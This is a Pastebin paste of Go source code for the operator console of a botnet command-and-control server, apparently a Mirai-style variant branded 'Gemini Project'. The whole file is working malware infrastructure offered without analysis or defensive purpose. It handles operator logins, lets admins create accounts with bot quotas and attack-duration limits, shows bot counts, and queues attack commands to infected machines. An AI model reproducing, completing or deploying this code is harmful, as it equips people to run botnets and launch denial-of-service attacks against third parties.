Advertisement
Guest User

Untitled

a guest
Mar 9th, 2019
113
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.54 KB | None | 0 0
  1. package main
  2.  
  3. import (
  4. "fmt"
  5. "net"
  6. "time"
  7. "strings"
  8. "strconv"
  9. )
  10.  
  11. type Admin struct {
  12. conn net.Conn
  13. }
  14.  
  15. func NewAdmin(conn net.Conn) *Admin {
  16. return &Admin{conn}
  17. }
  18.  
  19. func (this *Admin) Handle() {
  20. this.conn.Write([]byte("\033[?1049h"))
  21. this.conn.Write([]byte("\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22"))
  22.  
  23. defer func() {
  24. this.conn.Write([]byte("\033[?1049l"))
  25. }()
  26.  
  27. // Get username
  28. this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  29. this.conn.Write([]byte("\033[0;37mимя пользователя\033[0;91m: "))
  30. username, err := this.ReadLine(false)
  31. if err != nil {
  32. return
  33. }
  34.  
  35. // Get password
  36. this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  37. this.conn.Write([]byte("\033[0;37mпароль\033[0;91m: "))
  38. password, err := this.ReadLine(true)
  39. if err != nil {
  40. return
  41. }
  42. this.conn.Write([]byte("\033[31m"))
  43. this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  44. this.conn.Write([]byte("\r\n"))
  45. spinBuf := []byte{'-', '\\', '|', '/'}
  46. for i := 0; i < 15; i++ {
  47. this.conn.Write(append([]byte("\r[\033[1;32mLogin\033[0m] Successful, Welcome to the Gemini Project!"), spinBuf[i % len(spinBuf)]))
  48. time.Sleep(time.Duration(300) * time.Millisecond)
  49. }
  50. this.conn.Write([]byte("\033[2J\033[1H"))
  51. var loggedIn bool
  52. var userInfo AccountInfo
  53. if loggedIn, userInfo = database.TryLogin(username, password); !loggedIn {
  54. buf := make([]byte, 1)
  55. this.conn.Read(buf)
  56. return
  57. }
  58.  
  59. go func() {
  60. i := 0
  61. for {
  62. var BotCount int
  63. if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -1 {
  64. BotCount = userInfo.maxBots
  65. } else {
  66. BotCount = clientList.Count()
  67. }
  68.  
  69. time.Sleep(time.Second)
  70. if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;%d | %s\007", BotCount, username))); err != nil {
  71. this.conn.Close()
  72. break
  73. }
  74. i++
  75. if i % 60 == 0 {
  76. this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  77. }
  78. }
  79. }()
  80. this.conn.Write([]byte("\033[2J\033[1H\033[0m"))
  81. this.conn.Write([]byte("**************************************************\r\n"))
  82. this.conn.Write([]byte("********* *********\r\n"))
  83. this.conn.Write([]byte("******* \x1b[1;35m \\│/ ┌─┐┌─┐┌┬┐┬┌┐┌┬ \\│/ \x1b[0m *******\r\n"))
  84. this.conn.Write([]byte("***** \x1b[1;34m ─ ─ │ ┬├┤ ││││││││ ─ ─ \x1b[0m *****\r\n"))
  85. this.conn.Write([]byte("******* \x1b[1;36m /│\\ └─┘└─┘┴ ┴┴┘└┘┴ /│\\ \x1b[0m ******\r\n"))
  86. this.conn.Write([]byte("********* ********\r\n"))
  87. this.conn.Write([]byte("**************************************************\r\n"))
  88. for {
  89. var botCatagory string
  90. var botCount int
  91. botCount = clientList.Count()
  92. this.conn.Write([]byte("\033[1;35m[\033[1;31m" + username + "@gemini\033[1;35m]\033[0m "))
  93. cmd, err := this.ReadLine(false)
  94. if err != nil || cmd == "exit" || cmd == "quit" {
  95. return
  96. }
  97. if cmd == "" {
  98. continue
  99. }
  100. if cmd == "clear" || cmd == "cls" || cmd == "c" {
  101. this.conn.Write([]byte("\033[2J\033[1H\033[0m"))
  102. this.conn.Write([]byte("**************************************************\r\n"))
  103. this.conn.Write([]byte("********* *********\r\n"))
  104. this.conn.Write([]byte("******* \x1b[1;35m \\│/ ┌─┐┌─┐┌┬┐┬┌┐┌┬ \\│/ \x1b[0m *******\r\n"))
  105. this.conn.Write([]byte("***** \x1b[1;34m ─ ─ │ ┬├┤ ││││││││ ─ ─ \x1b[0m *****\r\n"))
  106. this.conn.Write([]byte("******* \x1b[1;36m /│\\ └─┘└─┘┴ ┴┴┘└┘┴ /│\\ \x1b[0m ******\r\n"))
  107. this.conn.Write([]byte("********* ********\r\n"))
  108. this.conn.Write([]byte("**************************************************\r\n"))
  109. continue
  110. }
  111. botCount = userInfo.maxBots
  112.  
  113. if userInfo.admin == 1 && cmd == "adduser" {
  114. this.conn.Write([]byte("[\033[1;35m*\033[0m] New username:\033[0;37m "))
  115. new_un, err := this.ReadLine(false)
  116. if err != nil {
  117. return
  118. }
  119. this.conn.Write([]byte("[\033[1;35m*\033[0m] New password:\033[0;37m "))
  120. new_pw, err := this.ReadLine(false)
  121. if err != nil {
  122. return
  123. }
  124. this.conn.Write([]byte("[\033[1;35m*\033[0m] Allowed bots:\033[0;37m "))
  125. max_bots_str, err := this.ReadLine(false)
  126. if err != nil {
  127. return
  128. }
  129. max_bots, err := strconv.Atoi(max_bots_str)
  130. if err != nil {
  131. this.conn.Write([]byte("[\033[0;31m*\033[0m] Error please try again"))
  132. continue
  133. }
  134. this.conn.Write([]byte("[\033[1;35m*\033[0m] Attack duration:\033[0;37m "))
  135. duration_str, err := this.ReadLine(false)
  136. if err != nil {
  137. return
  138. }
  139. duration, err := strconv.Atoi(duration_str)
  140. if err != nil {
  141. this.conn.Write([]byte("[\033[0;31m*\033[0m] Error please try again"))
  142. continue
  143. }
  144. this.conn.Write([]byte("[\033[1;35m*\033[0m] Attack cooldown:\033[0;37m "))
  145. cooldown_str, err := this.ReadLine(false)
  146. if err != nil {
  147. return
  148. }
  149. cooldown, err := strconv.Atoi(cooldown_str)
  150. if err != nil {
  151. this.conn.Write([]byte("[\033[0;31m*\033[0m] Error please try again"))
  152. continue
  153. }
  154. this.conn.Write([]byte("[\033[1;33m*\033[0m] Confirm creation (y/n)"))
  155. confirm, err := this.ReadLine(false)
  156. if err != nil {
  157. return
  158. }
  159. if confirm != "y" {
  160. continue
  161. }
  162. if !database.CreateUser(new_un, new_pw, max_bots, duration, cooldown) {
  163. this.conn.Write([]byte("[\033[0;31m*\033[0m] Error please try again"))
  164. } else {
  165. this.conn.Write([]byte("[\033[1;35m*\033[0m] User created\033[0m\r\n"))
  166. }
  167. continue
  168. }
  169. if userInfo.admin == 1 && cmd == "count" || userInfo.admin == 1 && cmd == "bots" {
  170. m := clientList.Distribution()
  171. for k, v := range m {
  172. this.conn.Write([]byte(fmt.Sprintf("\033[0;37m%s:\t%d\033[0m\r\n", k, v)))
  173. }
  174. continue
  175. }
  176. if cmd[0] == '-' {
  177. countSplit := strings.SplitN(cmd, " ", 2)
  178. count := countSplit[0][1:]
  179. botCount, err = strconv.Atoi(count)
  180. if err != nil {
  181. this.conn.Write([]byte("[\033[0;31m*\033[0m] Error please try again"))
  182. continue
  183. }
  184. if userInfo.maxBots != -1 && botCount > userInfo.maxBots {
  185. this.conn.Write([]byte("[\033[0;31m*\033[0m] Error please try again"))
  186. continue
  187. }
  188. cmd = countSplit[1]
  189. }
  190. if userInfo.admin == 1 && cmd[0] == '@' {
  191. cataSplit := strings.SplitN(cmd, " ", 2)
  192. botCatagory = cataSplit[0][1:]
  193. cmd = cataSplit[1]
  194. }
  195.  
  196. atk, err := NewAttack(cmd, userInfo.admin)
  197. if err != nil {
  198. this.conn.Write([]byte(fmt.Sprintf("\033[1;31m%s\033[0m]\r\n", err.Error())))
  199. } else {
  200. buf, err := atk.Build()
  201. if err != nil {
  202. this.conn.Write([]byte(fmt.Sprintf("\033[1;31m%s\033[0m]\r\n", err.Error())))
  203. } else {
  204. if can, err := database.CanLaunchAttack(username, atk.Duration, cmd, botCount, 0); !can {
  205. this.conn.Write([]byte(fmt.Sprintf("\033[1;31m%s\033[0m]\r\n", err.Error())))
  206. } else if !database.ContainsWhitelistedTargets(atk) {
  207. clientList.QueueBuf(buf, botCount, botCatagory)
  208. var YotCount int
  209. if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -1 {
  210. YotCount = userInfo.maxBots
  211. } else {
  212. YotCount = clientList.Count()
  213. }
  214. this.conn.Write([]byte(fmt.Sprintf("[\033[1;35m*\033[0m] Command sent to \033[0;37m%d \033[0;91mbots\r\n", YotCount)))
  215. } else {
  216. fmt.Println("Blocked attack by " + username + " to whitelisted prefix")
  217. }
  218. }
  219. }
  220. }
  221. }
  222.  
  223. func (this *Admin) ReadLine(masked bool) (string, error) {
  224. buf := make([]byte, 1024)
  225. bufPos := 0
  226.  
  227. for {
  228. n, err := this.conn.Read(buf[bufPos:bufPos+1])
  229. if err != nil || n != 1 {
  230. return "", err
  231. }
  232. if buf[bufPos] == '\xFF' {
  233. n, err := this.conn.Read(buf[bufPos:bufPos+2])
  234. if err != nil || n != 2 {
  235. return "", err
  236. }
  237. bufPos--
  238. } else if buf[bufPos] == '\x7F' || buf[bufPos] == '\x08' {
  239. if bufPos > 0 {
  240. this.conn.Write([]byte(string(buf[bufPos])))
  241. bufPos--
  242. }
  243. bufPos--
  244. } else if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' {
  245. bufPos--
  246. } else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' {
  247. this.conn.Write([]byte("\r\n"))
  248. return string(buf[:bufPos]), nil
  249. } else if buf[bufPos] == 0x03 {
  250. this.conn.Write([]byte("^C\r\n"))
  251. return "", nil
  252. } else {
  253. if buf[bufPos] == '\x1B' {
  254. buf[bufPos] = '^';
  255. this.conn.Write([]byte(string(buf[bufPos])))
  256. bufPos++;
  257. buf[bufPos] = '[';
  258. this.conn.Write([]byte(string(buf[bufPos])))
  259. } else if masked {
  260. this.conn.Write([]byte("*"))
  261. } else {
  262. this.conn.Write([]byte(string(buf[bufPos])))
  263. }
  264. }
  265. bufPos++
  266. }
  267. return string(buf), nil
  268. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement